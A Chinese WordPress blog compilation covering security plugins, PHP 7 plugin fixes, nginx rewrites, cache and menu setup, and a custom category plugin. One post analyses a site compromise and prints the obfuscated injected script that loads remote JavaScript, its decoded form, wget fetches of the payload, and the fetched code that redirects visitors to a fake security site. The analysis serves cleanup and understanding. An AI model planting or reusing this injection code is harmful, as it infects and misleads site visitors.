wordpress站点安全设置

这也是一篇草稿了好几年的文章,一时半会儿也不大可能继续完善了

wordpress本身安全性,可以通过安装一些插件实现,

Akismet,

防垃圾评论

Disable XML-RPC-API,

禁用xmlrpc协议的一些api,减少针对 xmlrpc.php 的攻击。其中:

Security Settings: 4个选项全部启用,尤其第一个默认未开启”Disable JSON REST API” 推荐打开,

Limit Login Attempts Reloaded,

防止暴力登录尝试。推荐允许重试4次,把拦截时间设置成60分钟或更长时间

Cron Events

管理wordpress的定时任务调度器,在羼弱服务器上,wp-cron.php 容易跑死php进程,降低定时任务的执行频率,可以改善这问题。

 

一些wordpress插件兼容php7.x后的一些修改

不知算不算手贱,把VPS服务器上的php升级到7.0, 虽然7.x与之前的兼容性是很高的,但移除了一大堆过时用法,而某些老应用仍然在使用。对个人wordpress站点里出现的错误,修正记录如下。全部是插件,wordpress官方程序,是没有问题的。

mysql_escape_string() 函数改为addslashes()

wp-thread-comment插件 wp-content/plugins/wordpress-thread-comment/wp-thread-comment.php  有多处

mysql_* 系列函数在php7里全部移除了,所以建议在所有文件里搜索一下 mysql_query, mysql_escape_, mysql_real_eacape 等函数,如:  grep -r mysql_query /path/to/your/site

split()函数改为explode()

auto-save-image插件 wp-content/plugins/auto-save-image/auto-save-image.php  122行

语法兼容

Configure SMTP插件  wp-content/plugins/configure-smtp/configure-smtp.php  171行,为函数定义添加默认值

public function options_page_description( $localized_heading_text = '' ) {

nginx下为wordpress配置重写规则/rewrite

nginx不能支持.htaccess的rewrite规则,所以使用nginx作web服务器,配置wordpress固定链接会比较麻烦一点,要自己写规则到nginx配置文件里。网上也看到一些配置规则,不过觉得怪怪的。

发现nginx官方网站上有个页面,关于wordpress重写规则的,http://wiki.nginx.org/WordPress里面有“cool”的规则,本站的nginx配置如下,其中一行 try_files $uri $uri/ /index.php; 就是这行,应该比网上有些文章里的规则更cool。

    server {
        server_name  blog.path8.net;
        root /var/www/vhost/blog;
        access_log  logs/vhost-blog.path8.net.log  main;

        location /favicon.ico {
                log_not_found off;
                access_log off;
        }
        location /robots.txt {
                allow all;
                log_not_found off;
                access_log off;
        }

        location / {
                index  index.html index.htm index.php;
                # from nginx.org rewrite rule
                # This is cool because no php is touched for static 
 try_files $uri $uri/ /index.php;
        }

        error_page   500 502 503 504  /50x.html;
        location = /50x.html {
            root   html;
        }

        location ~ \.php$ {
            root           html;
            fastcgi_pass   127.0.0.1:9000;
            fastcgi_index  index.php;
            fastcgi_param  SCRIPT_FILENAME  /var/www/vhost/blog$fastcgi_script_name;
            include        fastcgi_params;
        }
    }

wordpress插件Quotmarks Replacer:解决wordpress英文引号自动转为中文引号的问题

Quotmarks Replacer

Quotmarks Replacer disables wptexturize function that keeps all quotation marks and suspension points in half-width form.

Quotmarks Replacer 通过禁用 wptexturize 函数,解决 WordPress 自动将半角的单引号、双引号和省略号转换为全角标点的问题。使后台输入的标点格式与前台读者浏览的标点格式保持一致。并且对多站点 (WordPress Mu) 有良好的支持。

http://wordpress.org/extend/plugins/quotmarks-replacer/

wordpress迁移服务器后WP Super Cache 错误:Warning! WP Super Cache caching broken! The script advanced-cache.php could not load wp-cache-phase1.php

Warning! WP Super Cache caching broken! The script advanced-cache.php could not load wp-cache-phase1.php.

Please edit /var/www/html/ and make sure the path to /var/www/html/wp-content/plugins/wp-super-cache/wp-cache-phase1.php is correct.

把整个wordpress打包压缩迁移到新的服务器上后,发现后台里出现这样的一条错误消息,以前根本没有的。清理wp super cache缓存,都不行。查了官方的FAQ,仔细查看了一下文件wp-content/advanced-cache.php 发现问题所在了,文件内容如下

<?php
# WP SUPER CACHE 0.8.9.1
function wpcache_broken_message() {
if ( false == strpos( $_SERVER[ 'REQUEST_URI' ], 'wp-admin' ) )
echo "<!-- WP Super Cache is installed but broken. The path to wp-cache-phase1.php in wp-content/advanced-cache.php must be fixed! -->";
}
if ( !include_once( '/home/xxxxx/www/html/wp-content/plugins/wp-super-cache/' . 'wp-cache-phase1.php' ) ) {
if ( !@is_file( '/home/xxxxx/www/html/wp-content/plugins/wp-super-cache/' . 'wp-cache-phase1.php' ) ) {
define( 'ADVANCEDCACHEPROBLEM', 1 );
register_shutdown_function( 'wpcache_broken_message' );
}
}
?>

文件内容红色加粗部分(如果你看不到红色或加粗,请到这里来看http://www.path8.net/tn/archives/4342 ),就是wp-cache-phase1.php文件的路径,错的,是之前老服务器上的路径,自然是无法引用到文件的。修改为相对新服务器正确的路径的,保存完成。

顺便说一句,wp super cache的开发人员在这里没有使用相对路经(或带前缀常量的路径表示文件wp-cache-phase1.php的路径),所以整站迁移服务器后,路径就错了。如可以写成if ( !include_once( "{$const_wp_root}/wp-content/..... 这样的形式就可避免该问题;可能是因为各种原因,是这样写不方便,所以才直接写绝对路径了。

wordpress文件附件转移到另外服务器上实现性能提升/web与文件数据分离

在大型web架构里,通常会把web与文件分离在不同服务器上,以提升web系统的高效运行。
而wordpress,本身好像没有这方面的考虑,所以,但可以朝这方面努力,应该可以通过插件等机制实现。
以下是笔者刚想到的一个实现方案。
由于wordpress本身,添加文章后,其中引用文件都是以绝对链接的形式写在html里的,这点可以通过插件的形式,把其url域名替换成另一个域名。
另一个域名下并没有这些相应的文件,可以通过url重写将对不存在文件的请求重写的一个动态处理程序(一般都是php,当然也可以使用其它,如jsp等)上,该处理程序通过远程http请求(或使用ftp也可以)把源站点下的相应文件抓取,并存在在对应的位置上,路径结构与源站点完全一致。这样,就实现了两个站点,即源站点及文件镜像站点的数据同步。第一次请求(即上述的抓取过程),请求后,再通过web程序把抓取到的文件读取并输出给客户端,即要模拟对静态web请求的返回数据,让请求浏览器以感觉不到这其实是动态请求的文件。
这只是一个技术方案,目前并没有实施,如有兴趣,可以自行实施,或者与笔者联系。笔者也可能在尝试实施这一方案的实施。


这里是一个方案,基本上就是上文中“插件”实现的功能 http://tsov.net/separation-of-the-blog-and-accessories/
当然,下面的远程自动抓取并没有提到,更没有实现的了

————– 2011-03-20 ——————
周末,写了一个简单的代码,可以实现上述抓取功能,代码参看附件。其实这个“抓取”功能,应该通过apache的代理功能就可以实现,ngix等web服务器好像也有(个人对IIS还是有一定了解,没有这种功能~~xx的MS),但没有研究过。在学习php,所以使用php写一个相应功能的程序。对于使用虚拟主机的web站点,可以尝试一下。

讲一下可能参考的使用实例:使用比较小的虚拟主机、或者主机商对流量限制比较严酷,买了godaddy域名,就可获赠一个很大的虚拟主机,只是有广告。而广告只会附加到在html文档里,而对于图片、flash、音频视频是不可能带广告的,所以就可以把这些附件文件的“迁移”到godaddy虚拟主机上。使用这个方法,实际上只需要把文章内容里的文件地址修改到godaddy虚拟主机上,就可以了,不需要手工转移,自动化进行,省力。

代码并不完善,也没有使用说明,需要手工配置里面的代码。有兴趣的同学,可以自己看代码,当然前提是要有点php编程基础。这个代码将来可能会再做修改,请持续关注此文。http://www.path8.net/tn/archives/4217

源程序:点此下载源程序prx
2011-03-20

小杯具了,wordpress居然被挂马了/清理过程兼木马解剖简记

今天真的载了,居然wordpress也被挂马了,太不可思议了。

事情如下:

晚上发篇文章,突然想到了一个对wordpress进行改进的方案,图片/附件与web分离,当然这个需求可能极少见,因为大多数wordpress都不会遇到这样的问题:空间不够用(直接升级主机了)、对附件的下载打开严重影响到web (如html,css,js)的访问速度。

但进入后台,看到快速发文章的内容框里很怪异,默认就有下面的一段文字,js代码,下面的最近草稿也显示有类似的js代码,心下不好,可能是被挂马了。不过还好,前几天为了试用新买vps性能,把整个wordpress数据库备份了一份,看来还真是所幸。

没有马上理会,记下wp改进方案,但没写几个字,感觉心里不舒服,wp的影响到底有多大,还并不知道。于是在wp后台里随便查看文章,连phpmyadmin查看数据库,初步的评估是,并不严重,只发现了在文章内容字段最后加入了下面的一段js代码,应该并没有数据丢失。这个问题,处理很容易,数据库update就可以了。在进行操作之前,备份整个数据库,保留原始“罪证”材料。于是执行如本文后面附的sql代码,问题得以解决,不想同一个数据库里放的另一个wp也同样的被挂马了,于是同样代码处理之。得解,mysql数据库的其它表,没有仔细检验,大致扫了一下,应该没有挂。明天周五,该周末了,周末再仔细检查一下。

被挂马,定是有漏洞,但漏洞在哪里还并不得而知。也要到周末再查了。

数据备份很重要,要启动自动备份机制,还是要购买并安装到vps上更合适。vps可以容易设置服务器上的定时任务。

写这篇文章时,才意识到怪不得今天访问量比前几天明显的低,被挂马也能也就是其中一个原因,估计还是重要原因。之前还以为可能的目的访客都关注“盐”的问题去了。
这是一段JS木马,请一定谨慎,不要在浏览器中执行。但在本站本文中阅读是安全的,本文url如下http://www.path8.net/tn/archives/4201 ;但笔者不能保证对本文的转载也是安全。
<script>eval(unescape("%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%27%3C%73%63%72%69%70%74%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%6C%65%73%73%74%68%65%6E%61%6D%69%6E%75%74%65%68%61%6E%64%6C%65%2E%63%6F%6D%2F%6A%73%2E%70%68%70%3F%6B%6B%3D%33%33%22%3E%3C%2F%73%63%72%69%70%74%3E%27%29%3B"))</script>

清理木马的sql代码

update `pre_posts` set `post_content`=replace(`post_content`,'<script>eval(unescape(“%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%27%3C%73%63%72%69%70%74%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%6C%65%73%73%74%68%65%6E%61%6D%69%6E%75%74%65%68%61%6E%64%6C%65%2E%63%6F%6D%2F%6A%73%2E%70%68%70%3F%6B%6B%3D%33%33%22%3E%3C%2F%73%63%72%69%70%74%3E%27%29%3B”))</script>’,”)

影响了 4045 行。 ( 查询花费 0.8925 秒 )

—————————–

UPDATE `pre2_posts` SET `post_content` = replace( `post_content` , ‘<script>eval(unescape(“%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%27%3C%73%63%72%69%70%74%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%6C%65%73%73%74%68%65%6E%61%6D%69%6E%75%74%65%68%61%6E%64%6C%65%2E%63%6F%6D%2F%6A%73%2E%70%68%70%3F%6B%6B%3D%33%33%22%3E%3C%2F%73%63%72%69%70%74%3E%27%29%3B”))</script>’, ” )

影响了 2174 行。 ( 查询花费 3.1435 秒 )

 

———————以下部分为2011-03-19补写,上面部分也有少量改动。———————

致歉:

因为笔者不慎,而导致本文中木马的存在,特向读者朋友们致歉,建议在2011-03-19 12:00 前读过本文、且使用windows操作系统的读者,全盘扫描病毒,以保障安全。
因为笔者主要使用fedora linux,在一定程度上,这也造成了没有及时发现这一问题。

再次杯具的发现:

本周六上午,看到wordpress里有条留言,”在浏览你:“小杯具了,wordpress居然被挂马了/清理过程简记”这个帖子的时候发现自动跳转到一个网页,下载了几个。EXE 用360扫描后发现报病毒,下面是下载信息: pcupdate107_2129.exe http://www1.firstok-security.rr.nu/retkko107_2129.php?xtev4=nNra76uj2eTZ29CRotz 不知道是我浏览器问题还是怎么回事,当时我用scientific 加 chrome”,心下不好,当时好像是使用wordpress后台发文章时,好像是使用的html代码模式,而不是可视化编辑器模式,直接把js的木马帖进去,那岂不是自己给自己种了木马?! 马上查看文章,速度很慢;为了安全起见趁页面还没有打开,关闭了firefox的js(使用js switch插件实现)。果然,html源代码里那个木马静静的躺着,好像在呲牙咧嘴的嘲笑着我,马上把整个html剪切出来,稍作修饰,切换到可视化编辑器下贴进去。html里的<,>就被自动转义为&lt;与&gt;这样就不会被浏览器当作js代码执行了。——废话了——修改完毕后,对这只木马要解剖一下,这也是前天写篇文章时想做的,但因为已经是深夜12点多,而暂放下。

致谢:

——上面所说的留言由“标点sign555.blog.51cto.com/”所发,在这里深表由衷的感谢!!

木马解剖:

这是一段JS木马,请一定谨慎,不要在浏览器中执行。但在本站本文中阅读是安全的,本文url如下http://www.path8.net/tn/archives/4201 ;但笔者不能保证对本文的转载也是安全。
<script>eval(unescape("%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%27%3C%73%63%72%69%70%74%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%6C%65%73%73%74%68%65%6E%61%6D%69%6E%75%74%65%68%61%6E%64%6C%65%2E%63%6F%6D%2F%6A%73%2E%70%68%70%3F%6B%6B%3D%33%33%22%3E%3C%2F%73%63%72%69%70%74%3E%27%29%3B"))</script>

分析:这也是清理木马时就想做的事情。木马本身是一段转码过和js字符串,执行时要先unescape反转码,得到一个字符串,然后把该字符串当作一段代码eval执行。

新建一个.html文件,内容如下:

<script>document.write(unescape(“%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%27%3C%73%63%72%69%70%74%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%6C%65%73%73%74%68%65%6E%61%6D%69%6E%75%74%65%68%61%6E%64%6C%65%2E%63%6F%6D%2F%6A%73%2E%70%68%70%3F%6B%6B%3D%33%33%22%3E%3C%2F%73%63%72%69%70%74%3E%27%29%3B”))</script>
在chrome里查看,但得到提示消息:

看来chrome在安全方面做得确实不错,对于包含恶意代码的网站给出警示消息。分析可能反编码后的代码还是,一段js,再从某个网站上下载木马(一般网页挂马都是这个模式),document.write 写到页面里的这段代码,还是可能被执行的,这不安全的,尽管我在linux下,要换一下输出方式。

使用alert提示框,这样反转码后的字符串是不会被执行的。而且在fedora linux下的alert提示框也是可以使用鼠标选择复制的,这比windows下的alert消息框方便多了!代码如下

<script>alert(unescape("%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%27%3C%73%63%72%69%70%74%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%6C%65%73%73%74%68%65%6E%61%6D%69%6E%75%74%65%68%61%6E%64%6C%65%2E%63%6F%6D%2F%6A%73%2E%70%68%70%3F%6B%6B%3D%33%33%22%3E%3C%2F%73%63%72%69%70%74%3E%27%29%3B"))</script>

小心,这段也是木马
document.write('<script src="http://lessthenaminutehandle.com/js.php?kk=33"></script>');

看到了,反编码后的字串果然就是个document.write语句,往页面html文档里写入一段js,这段js就来自一个从外部站点上下来的文档,这里还是个动态文件,看来这个域名上有很多木马,以参数传递;或者后面的?kk=33只是用来统计来源的字串。

看看它是什么东西,要有点探索精神~~

这次就不能使用浏览器了,不安全,也不方便;那用什么呢?Linux终端命令行啊!wget 这不是最方便的工具吗?

[feng@fsc tmp]$ wget http://lessthenaminutehandle.com/js.php?kk=33

[feng@fsc tmp]$ cat js.php\?kk\=33

function ssdfsc(cefrvwerfv3rg5e,vbeal,ebtal){
var ewefwe=new Date();
var vcwc = ewefwe.getDate()+ebtal;
ewefwe.setDate(vcwc);
var owc3te = ewefwe.toGMTString();
document.cookie=cefrvwerfv3rg5e+”=”+escape(vbeal)+”;expires=”+owc3te;

}

function wsdfsdd(cefrvwerfv3rg5e){
if (document.cookie.indexOf(cefrvwerfv3rg5e+”=”)!=-1)return “1”;
return “”;
}

if (wsdfsdd(“eererfero”)==””){
ssdfsc(“eererfero”,”1″,20);
var derverv=”http://www3.personalsecurityrn.rr.nu/?1dd9536=m%2Bzgl2uilqSsld7K0LCYienm1bHco6djpaJgo6xjlYg%3D”;

window.top.location.replace(derverv);
}

还要从别的站点上下载文件,不知道是什么,再来点探索精神,看看:

wget -O xxx.js http://www3.personalsecurityrn.rr.nu/?1dd9536=m%2Bzgl2uilqSsld7K0LCYienm1bHco6djpaJgo6xjlYg%3D

以为又是个js,结果是个html文档,比较大,就不贴出来了,参看附件:

xxx.js.html.zip 木马文件,慎重下载

还有,前面的js请求传递的kk=33,分析一下这个站点上是不是多个木马,还仅仅是个统计用的参数

[feng@fsc tmp]$ wget http://lessthenaminutehandle.com/js.php?kk=32
--2011-03-19 12:12:06--  http://lessthenaminutehandle.com/js.php?kk=32
正在解析主机 lessthenaminutehandle.com... 91.193.194.110
正在连接 lessthenaminutehandle.com|91.193.194.110|:80... 已连接。
已发出 HTTP 请求,正在等待回应... 200 OK
长度:573 [text/html]
正在保存至: “js.php?kk=32”

100%[======================================>] 573         --.-K/s   in 0s      

2011-03-19 12:12:07 (36.2 MB/s) - 已保存 “js.php?kk=32” [573/573])

[feng@fsc tmp]$ cat js.php\?kk\=32


function ssdfsc(cefrvwerfv3rg5e,vbeal,ebtal){
 var ewefwe=new Date();
 var vcwc = ewefwe.getDate()+ebtal;
 ewefwe.setDate(vcwc);
 var owc3te = ewefwe.toGMTString();
 document.cookie=cefrvwerfv3rg5e+"="+escape(vbeal)+";expires="+owc3te;

}

function wsdfsdd(cefrvwerfv3rg5e){
 if (document.cookie.indexOf(cefrvwerfv3rg5e+"=")!=-1)return "1";
 return "";
}

if (wsdfsdd("eererfero")==""){
 ssdfsc("eererfero","1",20);
 var derverv="http://www3.personalsecurityrn.rr.nu/?1dd9536=m%2Bzgl2uilqSsld7K0LCYienm1bHco6djpaJgo6xjlYg%3D";

 window.top.location.replace(derverv);
}

好像一样,那基本上可以认定是个统计参数,马夫们也要来统计马都撒到哪里了,虽然这些马夫很可恶,没有一点黑客精神,就会拿黑客技术来搞破坏、谋私利!

貌似很复杂,都十二点半了,不看了,探索精神不能当饭吃,准备吃饭去。

突然联想到,这些所谓有黑客他,也会说一句类似的话:“黑客精神又不能当饭吃!” ——这个最让整个人类蛋疼的事情:“吃饭”

WordPress 3.0.3 发布,大概是最密集的一次更新了

刚才登录wordpress后台,又一个更新,原来是WordPress 3.0.3 发布了,不久前WordPress 3.0.2 才发布,好像刚一周时间就升级了。

这么密集的软件更新,一般说都是修正安全漏洞的,看升级日志,果然是,e文不好,看得不甚明白,于是google一个,至少已经有好中文几个网站发布了这则消息,开源中国社区上的消息:

WordPress 3.0.3 是一个安全问题更新版本,修复了远程发布接口的bug,该接口可能在某些情况下允许发布者随意的发布、修改和删除文章。这个问题仅仅对于启用远程发布接口时才会存在。

可从这里下载该版本或者通过面板的更新功能进行自动升级。

from  http://www.oschina.net/news/13656/wordpress-3-0-3

wp启用了远程更新,当然是一定要升级的,尽管还没有中文版出来,但这样的安全更新,语言包应该没有多少改变的。

wordpress 3.x 自由定义导航菜单,把任意链接加入到导航菜单,并自由修改菜单项顺序

wordpress 3.x支持全面的自定义导航菜单功能,这在2.x时间是很多人梦寐以求的,本人当开始用wordpress时,认为作为一个成熟的博客系统,肯定有这样的功能,曾多方找这样的设置,当然是没有办法;当然可以修改wordpress代码或者主题,实现,不过没有这样作过。

控制板 – 外观 -菜单 里的设置,可以把任意链接放到菜单里;该功能还需要主题支持。步骤如下:

创建wordpress导航菜单

创建wordpress导航菜单,这里创建一名为“testmenu”的菜单

点加号添加新菜单。上面图片是,显示有一个名称为(“主菜单”是已经创建好的另一个菜单,这里不用理会它)

wordpress导航菜单加入自定义菜单项

wordpress导航菜单加入自定义菜单项,

有三种添加菜单项的方式,A “url地址+链接名称”的方式; B 选择wordpress“页面”作菜单项  C 选择文章分类作为菜单项。

wordpress导航菜单加入的自定义菜单项可以拖动调整顺序

wordpress导航菜单加入的自定义菜单项可以拖动调整顺序

选择使用自定义菜单

选择使用自定义菜单

首页已经显示自定义的菜单

前台页面已经显示为自定义的菜单

wordpress 3.x 自由定义导航菜单,把任意链接加入到导航菜单,并自由修改菜单项顺序

—————————————————————–

如果想对wordpress导航菜单更深入了解,可能参看从 http://fairyfish.net/2010/07/09/wordpress-nav-menu/ 转来的这篇文章,如下:

WordPress 原来默认的导航菜单只能是页面,或者分类,或者两者,如果想自己加入一个自定义链接都需要修改主题,非常不方便,所以一个完全可定制化的自定义的 WordPress 导航菜单成了所有人的需求。

而 WordPress 3.0 的其中一个非常重要的功能是一个全新的菜单管理系统,这个系统可以让我们创建包含由日志,页面,分类,标签和其他链接组成的完全自定义菜单,并且还支持多级菜单,非常方便和强大,今天就谈谈如果使用 WordPress 3.0 这个全新的导航菜单。

WordPress 导航菜单系统的概述

首先我们简单解释下这个导航系统的几个概念:

  • 主题位置:就是定义导航菜单在当前主题位置的名称,比如你在导航位置定义了一个菜单,名字就叫做导航菜单,那么这里就显示“导航菜单”。你可以定义多个主题位置的名称,也就是说可以在主题多个地方使用菜单系统,比如侧边栏的 Widget 等。
  • 独立的菜单:上面定义了菜单在主题的位置,那么这里就是定义菜单的具体内容。
  • 添加菜单项:会提供一堆选择让你添加,比如分类,页面,标签,日志,其他日志分类,还有自定义链接等。
  • 菜单项:可以对具体的菜单项进行配置,比如设置是否新窗口打开,这个菜单项标题,描述,Class 等等。

使用 WordPress 的导航菜单
使用 WordPress 的导航菜单

如何激活 WordPress 自带的导航菜单

要使用 WordPress 导航菜单功能,首先要给当前的主题注册导航菜单,从上面我们知道,我们可以注册一个或者多个导航菜单的主题位置,我么可以使用下面两个函数:

register_nav_menu():注册一个主题位置。
register_nav_menus():注册多个主题位置(使用数组形式)。

这里我们只注册一个导航菜单的主题位置:

register_nav_menu( 'nav-menu', '导航菜单');

nav-menu 是这个导航菜单的名字,用来在函数中定义身份的,而“导航菜单”则是名称,在 WordPress 后台使用的时候可见。

添加和显示导航菜单

注册好之后,就可以到 WordPress 后台 > 外观 > 菜单 添加菜单,添加的菜单的顺序是这样的:

  1. 首先定义好一个单独的菜单。
  2. 然后吧这个菜单赋给一个主题位置。
  3. 接下来就是添加和配置菜单项。

然后我们到主题的显示菜单的位置通过以下 wp_nav_menu() 就能把刚才定义的菜单显示出来,当然 wp_nav_menu() 这个函数可以有非常详细的参数,但是这里只要简单使用就可以,在特殊的情况下才可能使用到。

样式化导航菜单

样式化导航菜单非常简单,你只需要对 current-menu-item 和 current-menu-parent 这两个 Class 进行定义即可。如:

#menu-nav li.current-menu-item, #menu-nav li.current-menu-parent, #menu-nav li:hover {
	background:#1BA6B2;
	text-decoration:none;
	position: relative;
}

然后定义各级菜单的显示和层次效果即可。

关于 WordPress 导航菜单就介绍到这里。

wordpress首页只显示某个分类的文章/插件实现(完美实现,附插件源码)

wordpress首页只显示某个分类的文章/插件实现(完美实现)

——————————————–插件源码—————————————————————-

<?php
/*
Plugin Name: Front Page Included-only Categories
Version: 0.2
Plugin URI:
Description: This version uses a comma separated list of *included* category ids.
Author: fengyqf
Author URI: http://www.path8.net/
*/

function fpe_where($where) {
// Change the $cats_to_include string to the category id you do not want to appear on the front page.
// Example:  $cats_to_include = ‘1, 2, 3, 4’;
$cats_to_include = ’22, 26′;

global $wpdb, $wp_query;

if (! $wp_query->is_home || strlen($cats_to_include) == 0) {
return $where;
}

if (empty($wpdb->term_relationships))
{
$where .= ” AND $wpdb->post2cat.category_id IN (” . $cats_to_include . “)”;
}
else
{
$where .= ” AND $wpdb->term_taxonomy.term_id IN (” . $cats_to_include . “)”;
}
return $where;
}

function fpe_join($join) {
global $wpdb, $wp_query;

if (!$wp_query->is_home) {
return $join;
}
if (empty($wpdb->term_relationships))
{
$join .= ” LEFT JOIN $wpdb->post2cat ON $wpdb->post2cat.post_id = $wpdb->posts.ID “;
}
else
{
if (!preg_match(“/$wpdb->term_relationships/i”,$join))
{
$join .=” LEFT JOIN $wpdb->term_relationships ON ($wpdb->posts.ID = $wpdb->term_relationships.object_id) “;
}
if (!preg_match(“/$wpdb->term_taxonomy/i”,$join))
{
$join .=” LEFT JOIN $wpdb->term_taxonomy ON $wpdb->term_taxonomy.term_taxonomy_id = $wpdb->term_relationships.term_taxonomy_id”;
}
}
return $join;
}

function fpe_distinct($distinct) {
global  $wp_query;

if (! $wp_query->is_home ) {
return $distinct;
}
return “distinct”;
}

add_filter(‘posts_join’, ‘fpe_join’);
add_filter(‘posts_where’, ‘fpe_where’);
add_filter(‘posts_distinct’, ‘fpe_distinct’);

?>

—————————————–插件源码 end——————————————————————-

简介:

该插件是一个wordpress插件 Front Page Excluded Categories基本上稍做修改而成,在此感谢前人的工作。

使用方法:

1. 安装,就是wordpress插件安装,这里就不用说了。

2. 配置,该插件没有管理界面,直接编辑源代码进行配置,需要编辑修改的只有如下的一行。

$cats_to_include = ’22, 26′;

该行在上面源码中已经标红,等号右边是一个引号括起来的以逗号分隔的数字,可以有一个或者多个,我在这里配置了两个22与26。数字即是需要显示在首页分类的id编号,该数字可以在wordpress后台的编辑“文章分类目录”、编辑分类时,在浏览器地址栏url里查看到。

原理:

只要简单的懂得一点php/mysql程序知识,比较一个这里的代码与Front Page Excluded Categories的差异部分(上面代码里已经标绿)就明白了。

插件下载:

front-page-included-categories